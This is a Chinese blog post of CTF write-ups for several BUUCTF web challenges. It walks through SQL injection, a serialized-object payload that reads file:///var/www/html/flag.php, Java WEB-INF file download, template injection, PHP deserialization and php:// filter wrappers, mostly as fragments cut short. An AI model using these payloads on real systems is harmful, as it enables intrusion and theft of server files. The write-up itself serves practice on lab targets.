CTF之Web习题--032--BUU练习题
是时候翻篇啦~
BUUCTF刷题区第二页:
[网鼎杯 2018]Fakebook
原始信息
Fakebook:虚构乐谱
index.php
<h1>the Fakebook</h1> |
join.php
<form action="join.ok.php" method="post"> |
login.php
<h1>login page</h1> |
解题
收集信息,找突破口
直接dirmap漏扫是存在很大弊端的,原因很明显,请求数据过多不就无法请求了?
这里需要配置下dirmap
主要是不能让它把测试地址测爆了……
# 编辑dirmap下的dirmap.conf |
虽然缓慢,但挖掘出一堆信息:
[200][text/html; charset=UTF-8][0b] http://848a66a8-7bd6-483e-bca4-a9c5dab34f90.node4.buuoj.cn:81/flag.php |
尝试访问其中一个查看信息:
访问:http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/robots.txt |
user.php.bak,很显然是一个类似于源码的东西。打开如下:
|
一个php类能做什么?
很显然,这是反序列化用的。但具体运用在哪里还犹未可知。
初步测试
随便注册个信息后,主页面的显示是这样子的:
<table class="table"> |
view.php的no参数为1,说明可能存在SQL注入。
脚本突破,布尔盲注
突破口1: |
假设只能返回布尔值,那么:
# 既然能返回布尔值,那就不能浪费了 |
脚本测试database:
def get_database(url): |
测试结果如下:
fakEboOk |
库爆出来了,接下来试着爆表
def get_tables(url): |
这里我只给出函数,调用的事情应该是人人都会的吧?
下面是脚本返回的结果
table_name:u |
下面试着爆列名,脚本改下之前的SQL语句就好了:
def get_tables(url): |
回显:
head:no,username,passwd,data,user,current_connections,total_connections |
读出的用户名密码和no都是我们知晓的,那data是个什么东西?
试着扫出来:
// 涉及的SQL是:select group_concat(data) from fakebook.users |
回显点重测
到这里就有三个解决问题的方向:
先补充一点:flag.php是能被扫描到的,但是当时碍于字典不全没扫出来。
- 插入数据:注册数据时把数据插入进去,得到flag文件
- 更新旧数据:更新注册完成的用户数据,把用户数据的内容换成新的内容,绕过正则表达式
- 虚拟数据:使用测试的回显点调用自己写的序列化内容来得到flag。
再补充一点:view.php是视图的意思,这个php下面还有一个非常特殊的区域:
<iframe width='100%' height='10em' src='data:text/html;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSxjaHJvbWU9MSI+PG1ldGEgY29udGVudD0iYWx3YXlzIiBuYW1lPSJyZWZlcnJlciI+PG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IuWFqOeQg+mihuWFiOeahOS4reaWh+aQnOe0ouW8leaTjuOAgeiHtOWKm+S6juiuqee9keawkeabtOS+v+aNt+WcsOiOt+WPluS/oeaBr++8jOaJvuWIsOaJgOaxguOAgueZvuW6pui2hei/h+WNg+S6v+eahOS4reaWh+e9kemhteaVsOaNruW6k++8jOWPr+S7peeerOmXtOaJvuWIsOebuOWFs+eahOaQnOe0oue7k+aenOOAgiI+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vZmF2aWNvbi5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiI+PGxpbmsgcmVsPSJzZWFyY2giIHR5cGU9ImFwcGxpY2F0aW9uL29wZW5zZWFyY2hkZXNjcmlwdGlvbit4bWwiIGhyZWY9Ii8vd3d3LmJhaWR1LmNvbS9jb250ZW50LXNlYXJjaC54bWwiIHRpdGxlPSLnmb7luqbmkJzntKIiPjx0aXRsZT7nmb7luqbkuIDkuIvvvIzkvaDlsLHnn6XpgZM8L3RpdGxlPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keXttYXJnaW46MDtwYWRkaW5nOjA7dGV4dC1hbGlnbjpjZW50ZXI7YmFja2dyb3VuZDojZmZmO2hlaWdodDoxMDAlfWh0bWx7b3ZlcmZsb3cteTphdXRvO2NvbG9yOiMwMDA7b3ZlcmZsb3c6LW1vei1zY3JvbGxiYXJzO2hlaWdodDoxMDAlfWJvZHksaW5wdXR7Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6IlBpbmdGYW5nIFNDIixBcmlhbCwiTWljcm9zb2Z0IFlhSGVpIixzYW5zLXNlcmlmfWF7dGV4dC1kZWNvcmF0aW9uOm5vbmV9YTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfWltZ3tib3JkZXI6MDstbXMtaW50ZXJwb2xhdGlvbi1tb2RlOmJpY3ViaWN9aW5wdXR7Zm9udC1zaXplOjEwMCU7Ym9yZGVyOjB9Ym9keSxmb3Jte3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MH0jd3JhcHBlcntoZWlnaHQ6MTAwJX0jaGVhZF93cmFwcGVyLnMtcHMtaXNsaXRle3BhZGRpbmctYm90dG9tOjM3MHB4fSNoZWFkX3dyYXBwZXIucy1wcy1pc2xpdGUgLnNfZm9ybXtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjF9I2hlYWRfd3JhcHBlci5zLXBzLWlzbGl0ZSAuZm17cG9zaXRpb246YWJzb2x1dGU7Ym90dG9tOjB9I2hlYWRfd3JhcHBlci5zLXBzLWlzbGl0ZSAucy1wLXRvcHtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206NDBweDt3aWR0aDoxMDAlO2hlaWdodDoxODFweH0jaGVhZF93cmFwcGVyLnMtcHMtaXNsaXRlICNzX2xnX2ltZ3twb3NpdGlvbjpzdGF0aWM7bWFyZ2luOjMzcHggYXV0byAwIGF1dG87bGVmdDo1MCV9I2Zvcm17ei1pbmRleDoxfS5zX2Zvcm1fd3JhcHBlcntoZWlnaHQ6MTAwJX0jbGh7bWFyZ2luOjE2cHggMCA1cHg7d29yZC1zcGFjaW5nOjNweH0uYy1mb250LW5vcm1hbHtmb250OjEzcHgvMjNweCBBcmlhbCxzYW5zLXNlcmlmfS5jLWNvbG9yLXR7Y29sb3I6IzIyMn0uYy1idG4sLmMtYnRuOnZpc2l0ZWR7Y29sb3I6IzMzMyFpbXBvcnRhbnR9LmMtYnRue2Rpc3BsYXk6aW5saW5lLWJsb2NrO292ZXJmbG93OmhpZGRlbjtmb250LWZhbWlseTppbmhlcml0O2ZvbnQtd2VpZ2h0OjQwMDt0ZXh0LWFsaWduOmNlbnRlcjt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7b3V0bGluZTowO2JvcmRlcjowO2hlaWdodDozMHB4O3dpZHRoOjgwcHg7bGluZS1oZWlnaHQ6MzBweDtmb250LXNpemU6MTNweDtib3JkZXItcmFkaXVzOjZweDtwYWRkaW5nOjA7YmFja2dyb3VuZC1jb2xvcjojZjVmNWY2O2N1cnNvcjpwb2ludGVyfS5jLWJ0bjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiMzMTVlZmI7Y29sb3I6I2ZmZiFpbXBvcnRhbnR9YS5jLWJ0bnt0ZXh0LWRlY29yYXRpb246bm9uZX0uYy1idG4tbWluaXtoZWlnaHQ6MjRweDt3aWR0aDo0OHB4O2xpbmUtaGVpZ2h0OjI0cHh9LmMtYnRuLXByaW1hcnksLmMtYnRuLXByaW1hcnk6dmlzaXRlZHtjb2xvcjojZmZmIWltcG9ydGFudH0uYy1idG4tcHJpbWFyeXtiYWNrZ3JvdW5kLWNvbG9yOiM0ZTZlZjJ9LmMtYnRuLXByaW1hcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMzE1ZWZifWE6YWN0aXZle2NvbG9yOiNmNjB9I3dyYXBwZXJ7cG9zaXRpb246cmVsYXRpdmU7bWluLWhlaWdodDoxMDAlfSNoZWFke3BhZGRpbmctYm90dG9tOjEwMHB4O3RleHQtYWxpZ246Y2VudGVyfSN3cmFwcGVye21pbi13aWR0aDoxMjUwcHg7aGVpZ2h0OjEwMCU7bWluLWhlaWdodDo2MDBweH0jaGVhZHtwb3NpdGlvbjpyZWxhdGl2ZTtwYWRkaW5nLWJvdHRvbTowO2hlaWdodDoxMDAlO21pbi1oZWlnaHQ6NjAwcHh9LnNfZm9ybV93cmFwcGVye2hlaWdodDoxMDAlfS5xdWlja2RlbGV0ZS13cmFwe3Bvc2l0aW9uOnJlbGF0aXZlfS50b29sc3twb3NpdGlvbjphYnNvbHV0ZTtyaWdodDotNzVweH0ucy1pc2luZGV4LXdyYXB7cG9zaXRpb246cmVsYXRpdmV9I2hlYWRfd3JhcHBlci5oZWFkX3dyYXBwZXJ7d2lkdGg6YXV0b30jaGVhZF93cmFwcGVye3Bvc2l0aW9uOnJlbGF0aXZlO2hlaWdodDo0MCU7bWluLWhlaWdodDozMTRweDttYXgtaGVpZ2h0OjUxMHB4O3dpZHRoOjEwMDBweDttYXJnaW46MCBhdXRvfSNoZWFkX3dyYXBwZXIgLnMtcC10b3B7aGVpZ2h0OjYwJTttaW4taGVpZ2h0OjE4NXB4O21heC1oZWlnaHQ6MzEwcHg7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDowO3RleHQtYWxpZ246Y2VudGVyfSNoZWFkX3dyYXBwZXIgaW5wdXR7b3V0bGluZTowOy13ZWJraXQtYXBwZWFyYW5jZTpub25lfSNoZWFkX3dyYXBwZXIgLnNfYnRuX3dyLCNoZWFkX3dyYXBwZXIgLnNfaXB0X3dye2Rpc3BsYXk6aW5saW5lLWJsb2NrO3pvb206MTtiYWNrZ3JvdW5kOjAgMDt2ZXJ0aWNhbC1hbGlnbjp0b3B9I2hlYWRfd3JhcHBlciAuc19pcHRfd3J7cG9zaXRpb246cmVsYXRpdmU7d2lkdGg6NTQ2cHh9I2hlYWRfd3JhcHBlciAuc19idG5fd3J7d2lkdGg6MTA4cHg7aGVpZ2h0OjQ0cHg7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoyfSNoZWFkX3dyYXBwZXIgLnNfaXB0X3dyOmhvdmVyICNrd3tib3JkZXItY29sb3I6I2E3YWFiNX0jaGVhZF93cmFwcGVyICNrd3t3aWR0aDo1MTJweDtoZWlnaHQ6MTZweDtwYWRkaW5nOjEycHggMTZweDtmb250LXNpemU6MTZweDttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7b3V0bGluZTowO2JveC1zaGFkb3c6bm9uZTtib3JkZXItcmFkaXVzOjEwcHggMCAwIDEwcHg7Ym9yZGVyOjJweCBzb2xpZCAjYzRjN2NlO2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMjIyO292ZXJmbG93OmhpZGRlbjtib3gtc2l6aW5nOmNvbnRlbnQtYm94fSNoZWFkX3dyYXBwZXIgI2t3OmZvY3Vze2JvcmRlci1jb2xvcjojNGU2ZWYyIWltcG9ydGFudDtvcGFjaXR5OjF9I2hlYWRfd3JhcHBlciAuc19mb3Jte3dpZHRoOjY1NHB4O2hlaWdodDoxMDAlO21hcmdpbjowIGF1dG87dGV4dC1hbGlnbjpsZWZ0O3otaW5kZXg6MTAwfSNoZWFkX3dyYXBwZXIgLnNfYnRue2N1cnNvcjpwb2ludGVyO3dpZHRoOjEwOHB4O2hlaWdodDo0NHB4O2xpbmUtaGVpZ2h0OjQ1cHg7cGFkZGluZzowO2JhY2tncm91bmQ6MCAwO2JhY2tncm91bmQtY29sb3I6IzRlNmVmMjtib3JkZXItcmFkaXVzOjAgMTBweCAxMHB4IDA7Zm9udC1zaXplOjE3cHg7Y29sb3I6I2ZmZjtib3gtc2hhZG93Om5vbmU7Zm9udC13ZWlnaHQ6NDAwO2JvcmRlcjpub25lO291dGxpbmU6MH0jaGVhZF93cmFwcGVyIC5zX2J0bjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM0NjYyZDl9I2hlYWRfd3JhcHBlciAuc19idG46YWN0aXZle2JhY2tncm91bmQtY29sb3I6IzQ2NjJkOX0jaGVhZF93cmFwcGVyIC5xdWlja2RlbGV0ZS13cmFwe3Bvc2l0aW9uOnJlbGF0aXZlfSNzX3RvcF93cmFwe3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6OTk7bWluLXdpZHRoOjEwMDBweDt3aWR0aDoxMDAlfS5zLXRvcC1sZWZ0e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6MDt0b3A6MDt6LWluZGV4OjEwMDtoZWlnaHQ6NjBweDtwYWRkaW5nLWxlZnQ6MjRweH0ucy10b3AtbGVmdCAubW5hdnttYXJnaW4tcmlnaHQ6MzFweDttYXJnaW4tdG9wOjE5cHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246cmVsYXRpdmV9LnMtdG9wLWxlZnQgLm1uYXY6aG92ZXIgLnMtYnJpLC5zLXRvcC1sZWZ0IGE6aG92ZXJ7Y29sb3I6IzMxNWVmYjt0ZXh0LWRlY29yYXRpb246bm9uZX0ucy10b3AtbGVmdCAucy10b3AtbW9yZS1idG57cGFkZGluZy1ib3R0b206MTlweH0ucy10b3AtbGVmdCAucy10b3AtbW9yZS1idG46aG92ZXIgLnMtdG9wLW1vcmV7ZGlzcGxheTpibG9ja30ucy10b3AtcmlnaHR7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDt0b3A6MDt6LWluZGV4OjEwMDtoZWlnaHQ6NjBweDtwYWRkaW5nLXJpZ2h0OjI0cHh9LnMtdG9wLXJpZ2h0IC5zLXRvcC1yaWdodC10ZXh0e21hcmdpbi1sZWZ0OjMycHg7bWFyZ2luLXRvcDoxOXB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlO3ZlcnRpY2FsLWFsaWduOnRvcDtjdXJzb3I6cG9pbnRlcn0ucy10b3AtcmlnaHQgLnMtdG9wLXJpZ2h0LXRleHQ6aG92ZXJ7Y29sb3I6IzMxNWVmYn0ucy10b3AtcmlnaHQgLnMtdG9wLWxvZ2luLWJ0bntkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW4tdG9wOjE4cHg7bWFyZ2luLWxlZnQ6MzJweDtmb250LXNpemU6MTNweH0ucy10b3AtcmlnaHQgYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246bm9uZX0jYm90dG9tX2xheWVye3dpZHRoOjEwMCU7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDozMDI7Ym90dG9tOjA7bGVmdDowO2hlaWdodDozOXB4O3BhZGRpbmctdG9wOjFweDtvdmVyZmxvdzpoaWRkZW47em9vbToxO21hcmdpbjowO2xpbmUtaGVpZ2h0OjM5cHg7YmFja2dyb3VuZDojZmZmfSNib3R0b21fbGF5ZXIgLmxoe2Rpc3BsYXk6aW5saW5lO21hcmdpbi1yaWdodDoyMHB4fSNib3R0b21fbGF5ZXIgLmxoOmxhc3QtY2hpbGR7bWFyZ2luLWxlZnQ6LTJweDttYXJnaW4tcmlnaHQ6MH0jYm90dG9tX2xheWVyIC5saC5hY3Rpdml0eXtmb250LXdlaWdodDo3MDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0jYm90dG9tX2xheWVyIGF7Zm9udC1zaXplOjEycHg7dGV4dC1kZWNvcmF0aW9uOm5vbmV9I2JvdHRvbV9sYXllciAudGV4dC1jb2xvcntjb2xvcjojYmJifSNib3R0b21fbGF5ZXIgYTpob3Zlcntjb2xvcjojMjIyfSNib3R0b21fbGF5ZXIgLnMtYm90dG9tLWxheWVyLWNvbnRlbnR7dGV4dC1hbGlnbjpjZW50ZXJ9PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGRpdiBpZD0id3JhcHBlciIgY2xhc3M9IndyYXBwZXJfbmV3Ij48ZGl2IGlkPSJoZWFkIj48ZGl2IGlkPSJzLXRvcC1sZWZ0IiBjbGFzcz0icy10b3AtbGVmdCBzLWlzaW5kZXgtd3JhcCI+PGEgaHJlZj0iLy9uZXdzLmJhaWR1LmNvbS8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0ibW5hdiBjLWZvbnQtbm9ybWFsIGMtY29sb3ItdCI+5paw6Ze7PC9hPjxhIGhyZWY9Ii8vd3d3LmhhbzEyMy5jb20vIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9Im1uYXYgYy1mb250LW5vcm1hbCBjLWNvbG9yLXQiPmhhbzEyMzwvYT48YSBocmVmPSIvL21hcC5iYWlkdS5jb20vIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9Im1uYXYgYy1mb250LW5vcm1hbCBjLWNvbG9yLXQiPuWcsOWbvjwvYT48YSBocmVmPSIvL2xpdmUuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJtbmF2IGMtZm9udC1ub3JtYWwgYy1jb2xvci10Ij7nm7Tmkq08L2E+PGEgaHJlZj0iLy9oYW9rYW4uYmFpZHUuY29tLz9zZnJvbT1iYWlkdS10b3AiIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0ibW5hdiBjLWZvbnQtbm9ybWFsIGMtY29sb3ItdCI+6KeG6aKRPC9hPjxhIGhyZWY9Ii8vdGllYmEuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJtbmF2IGMtZm9udC1ub3JtYWwgYy1jb2xvci10Ij7otLTlkKc8L2E+PGEgaHJlZj0iLy94dWVzaHUuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJtbmF2IGMtZm9udC1ub3JtYWwgYy1jb2xvci10Ij7lrabmnK88L2E+PGRpdiBjbGFzcz0ibW5hdiBzLXRvcC1tb3JlLWJ0biI+PGEgaHJlZj0iLy93d3cuYmFpZHUuY29tL21vcmUvIiBuYW1lPSJ0al9icmlpY29uIiBjbGFzcz0icy1icmkgYy1mb250LW5vcm1hbCBjLWNvbG9yLXQiIHRhcmdldD0iX2JsYW5rIj7mm7TlpJo8L2E+PC9kaXY+PC9kaXY+PGRpdiBpZD0idTEiIGNsYXNzPSJzLXRvcC1yaWdodCBzLWlzaW5kZXgtd3JhcCI+PGEgY2xhc3M9InMtdG9wLWxvZ2luLWJ0biBjLWJ0biBjLWJ0bi1wcmltYXJ5IGMtYnRuLW1pbmkgbGIiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp2aXNpYmxlIiBuYW1lPSJ0al9sb2dpbiIgaHJlZj0iLy93d3cuYmFpZHUuY29tL2Jkb3J6L2xvZ2luLmdpZj9sb2dpbiZhbXA7dHBsPW1uJmFtcDt1PWh0dHAlM0ElMkYlMkZ3d3cuYmFpZHUuY29tJTJmJTNmYmRvcnpfY29tZSUzZDEiPueZu+W9lTwvYT48L2Rpdj48ZGl2IGlkPSJoZWFkX3dyYXBwZXIiIGNsYXNzPSJoZWFkX3dyYXBwZXIgcy1pc2luZGV4LXdyYXAgcy1wcy1pc2xpdGUiPjxkaXYgY2xhc3M9InNfZm9ybSI+PGRpdiBjbGFzcz0ic19mb3JtX3dyYXBwZXIiPjxkaXYgaWQ9ImxnIiBjbGFzcz0icy1wLXRvcCI+PGltZyBoaWRlZm9jdXM9InRydWUiIGlkPSJzX2xnX2ltZyIgY2xhc3M9ImluZGV4LWxvZ28tc3JjIiBzcmM9Ii8vd3d3LmJhaWR1LmNvbS9pbWcvZmxleGlibGUvbG9nby9wYy9pbmRleC5wbmciIHdpZHRoPSIyNzAiIGhlaWdodD0iMTI5IiB1c2VtYXA9IiNtcCI+PG1hcCBuYW1lPSJtcCI+PGFyZWEgc3R5bGU9Im91dGxpbmU6MCIgaGlkZWZvY3VzPSJ0cnVlIiBzaGFwZT0icmVjdCIgY29vcmRzPSIwLDAsMjcwLDEyOSIgaHJlZj0iLy93d3cuYmFpZHUuY29tL3M/d2Q9JUU3JTk5JUJFJUU1JUJBJUE2JUU3JTgzJUFEJUU2JTkwJTlDJmFtcDtzYT1pcmVfZGxfZ2hfbG9nb190ZXhpbmcmYW1wO3Jzdl9kbD1pZ2hfbG9nb19wY3MiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0i54K55Ye75LiA5LiL77yM5LqG6Kej5pu05aSaIj48L21hcD48L2Rpdj48YSBocmVmPSIvL3d3dy5iYWlkdS5jb20vIiBpZD0icmVzdWx0X2xvZ28iPjwvYT48Zm9ybSBpZD0iZm9ybSIgbmFtZT0iZiIgYWN0aW9uPSIvL3d3dy5iYWlkdS5jb20vcyIgY2xhc3M9ImZtIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJpZSIgdmFsdWU9InV0Zi04Ij4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZiIgdmFsdWU9IjgiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyc3ZfYnAiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icnN2X2lkeCIgdmFsdWU9IjEiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaCIgdmFsdWU9IiI+IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRuIiB2YWx1ZT0iYmFpZHUiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJiYXIiIHZhbHVlPSIiPiA8c3BhbiBjbGFzcz0ic19pcHRfd3IgcXVpY2tkZWxldGUtd3JhcCI+PGlucHV0IGlkPSJrdyIgbmFtZT0id2QiIGNsYXNzPSJzX2lwdCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSIyNTUiIGF1dG9jb21wbGV0ZT0ib2ZmIj4gPC9zcGFuPjxzcGFuIGNsYXNzPSJzX2J0bl93ciI+PGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9InN1IiB2YWx1ZT0i55m+5bqm5LiA5LiLIiBjbGFzcz0iYmcgc19idG4iPiA8L3NwYW4+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icm4iIHZhbHVlPSIiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmZW5sZWkiIHZhbHVlPSIyNTYiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcSIgdmFsdWU9IiI+IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJzdl9wcSIgdmFsdWU9ImI5ZmYwOTNlMDAwMGU0MTkiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyc3ZfdCIgdmFsdWU9IjM2MzVGWWJkYkM4dGxXbXVkWm1ZYVVuYXVjTmUrUnpUek5FR3FnL0p1bmlRVTEwV0w1bXRNUWVoSXJVIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icnFsYW5nIiB2YWx1ZT0iY24iPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyc3ZfZW50ZXIiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icnN2X2RsIiB2YWx1ZT0iaWIiPjwvZm9ybT48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGlkPSJib3R0b21fbGF5ZXIiIGNsYXNzPSJzLWJvdHRvbS1sYXllciBzLWlzaW5kZXgtd3JhcCI+PGRpdiBjbGFzcz0icy1ib3R0b20tbGF5ZXItY29udGVudCI+PHAgY2xhc3M9ImxoIj48YSBjbGFzcz0idGV4dC1jb2xvciIgaHJlZj0iLy9ob21lLmJhaWR1LmNvbS8iIHRhcmdldD0iX2JsYW5rIj7lhbPkuo7nmb7luqY8L2E+PC9wPjxwIGNsYXNzPSJsaCI+PGEgY2xhc3M9InRleHQtY29sb3IiIGhyZWY9Ii8vaXIuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiPkFib3V0IEJhaWR1PC9hPjwvcD48cCBjbGFzcz0ibGgiPjxhIGNsYXNzPSJ0ZXh0LWNvbG9yIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vZHV0eSIgdGFyZ2V0PSJfYmxhbmsiPuS9v+eUqOeZvuW6puWJjeW/heivuzwvYT48L3A+PHAgY2xhc3M9ImxoIj48YSBjbGFzcz0idGV4dC1jb2xvciIgaHJlZj0iLy9oZWxwLmJhaWR1LmNvbS8iIHRhcmdldD0iX2JsYW5rIj7luK7liqnkuK3lv4M8L2E+PC9wPjxwIGNsYXNzPSJsaCI+PGEgY2xhc3M9InRleHQtY29sb3IiIGhyZWY9Ii8vd3d3LmJlaWFuLmdvdi5jbi9wb3J0YWwvcmVnaXN0ZXJTeXN0ZW1JbmZvP3JlY29yZGNvZGU9MTEwMDAwMDIwMDAwMDEiIHRhcmdldD0iX2JsYW5rIj7kuqzlhaznvZHlronlpIcxMTAwMDAwMjAwMDAwMeWPtzwvYT48L3A+PHAgY2xhc3M9ImxoIj48YSBjbGFzcz0idGV4dC1jb2xvciIgaHJlZj0iLy9iZWlhbi5taWl0Lmdvdi5jbi8iIHRhcmdldD0iX2JsYW5rIj7kuqxJQ1Dor4EwMzAxNzPlj7c8L2E+PC9wPjxwIGNsYXNzPSJsaCI+PHNwYW4gaWQ9InllYXIiIGNsYXNzPSJ0ZXh0LWNvbG9yIj48L3NwYW4+PC9wPjxwIGNsYXNzPSJsaCI+PHNwYW4gY2xhc3M9InRleHQtY29sb3IiPuS6kuiBlOe9keiNr+WTgeS/oeaBr+acjeWKoei1hOagvOivgeS5piAo5LqsKS3nu4/okKXmgKctMjAxNy0wMDIwPC9zcGFuPjwvcD48cCBjbGFzcz0ibGgiPjxhIGNsYXNzPSJ0ZXh0LWNvbG9yIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vbGljZW5jZS8iIHRhcmdldD0iX2JsYW5rIj7kv6Hmga/nvZHnu5zkvKDmkq3op4blkKzoioLnm67orrjlj6/or4EgMDExMDUxNjwvYT48L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnZhciBkYXRlPW5ldyBEYXRlLHllYXI9ZGF0ZS5nZXRGdWxsWWVhcigpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ5ZWFyIikuaW5uZXJUZXh0PSLCqSIreWVhcisiIEJhaWR1ICI8L3NjcmlwdD48L2JvZHk+PC9odG1sPg=='> |
这个标签的功能很特殊,会嵌套显示出你的博客的内容,类似于画中画的效果。
根据上面三个问题分析:
这里通过报错是能知道当前文件在哪个路径下的。这里使用file:///读取服务器本地文件数据。
插入数据–失败
这里其实前面就知道了。正则表达式的过滤很严谨,几乎可以说完全是为了http协议准备的。
public function isValidBlog() |
更新数据–失败
脚本测试的前提是hackbar能完整的模拟测试,但是这次翻车了。
?no=(if((UPDATE fakebook.users SET data='O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'WHERE no='1'),1,2)) |
测回显点测试
这里还是一步步来。
-- 1.测当前表列数 |
问题来了,哪个反序列化要放哪里?
其实很好理解,那个username不是占用了2的位置么,那按顺序写下去,那个链接的位置不就是4么。(刚刚好就是之前测试出来的那个列名组合)
数据库存储的时候是以序列化后的代码存储在data列,而data列系解析到前端就是url和下面的博客文件加载内容。
写个data替换掉4的位置应该就差不多了。
-- 尝试插入反序列化代码 |
获取其中的base64并解码:
echo base64_decode('PD9waHANCg0KJGZsYWcgPSAiZmxhZ3sxZTkzODcwMC01ODE4LTRjNjctYjJmOC1mNTc5OTQxZDg1OTR9IjsNCmV4aXQoMCk7DQo='); |
总结
写了我快一天的解析脚本,还算好玩吧。
其实即使是最后测试出了flag,我还是想通过脚本的方式测试出flag。
这次唯一学到的是使用/**/绕过对 union select 的封禁。 |
[RoarCTF 2019]Easy Java
原始信息
一眼就看出这个是框架了。
访问:/Login |
解题
无法弱密码爆破,寻找其它突破口
java模板漏洞第一次接触,难度很大。这里参考资料:源码泄露博客资料
这里需要灵活点,给Download变式 |
xml文件内容:
|
既然得到了xml文件,那就得顺着java分析。
观察看来,这应该是映射前端架构和后端结构对应关系的一个文件。
带斜杠的都是前端访问的对应网页文件,那么点分的应该是后端对应的架构文件。
而java后端能映射为可执行文件的想来也就一种:class后缀文件。
如果斜杠是前端的标志,那点就是后端的标志,都能划分目录等级。
截取部分内容: |
根据上面下载flag的class执行文件:
get: |
下载下来后,文件内部有一个base64代码:
ZmxhZ3tjYzhlZjY3My1mZWZiLTQ4YWItOGU1My00NWU2MWMyODY2Njh9Cg== |
总结
问题1:遇到模板漏洞怎么辨别是什么语言的? |
[BJDCTF2020]The mystery of ip
原始信息
flag.php页面出现一个框框,里面显示着IP地址 |
解题
原本以为XFF仅仅作转IP到内网用的,却没想到还能碰到XFF模板漏洞。
XFF模板注入攻击: |
[网鼎杯 2020 朱雀组]phpweb
原始信息
一个不断刷新的数据包,以及它的回显
POST /index.php HTTP/1.1 |
回显
HTTP/1.1 200 OK |
解题
仔细观察是可以发现一些东西的对应关系的:
func=date&p=Y-m-d+h%3Ai%3As+a |
data显然是控制了后面为时间,并且显示出来。
为了验证码我们的猜想,尝试配对:
func=file_get_contents&p=index.php |
回显
|
这门看直接序列化那个Test再换掉函数就能随便查flag了
// 构造Payload |
总结
php反序列化。以及无效的黑名单过滤。
[BSidesCF 2020]Had a bad day
原始信息
从题目提供的源码当中找到这么一段:
|
同时也知晓了flag就在当前目录下。
解题
文件包含漏洞,但是要尝试绕过过滤的东西。
总结来讲,文件包含漏洞尽可能的去尝试下伪协议,说不定能绕过很多东西。
|
[BJDCTF2020]ZJCTF,不过如此
原始信息
|
解题
上面提示了一个next.php,试着去抓出里面的内容
// 先写两个伪协议绕过 |
解码base64得到源码:
$id = $_GET['id']; |
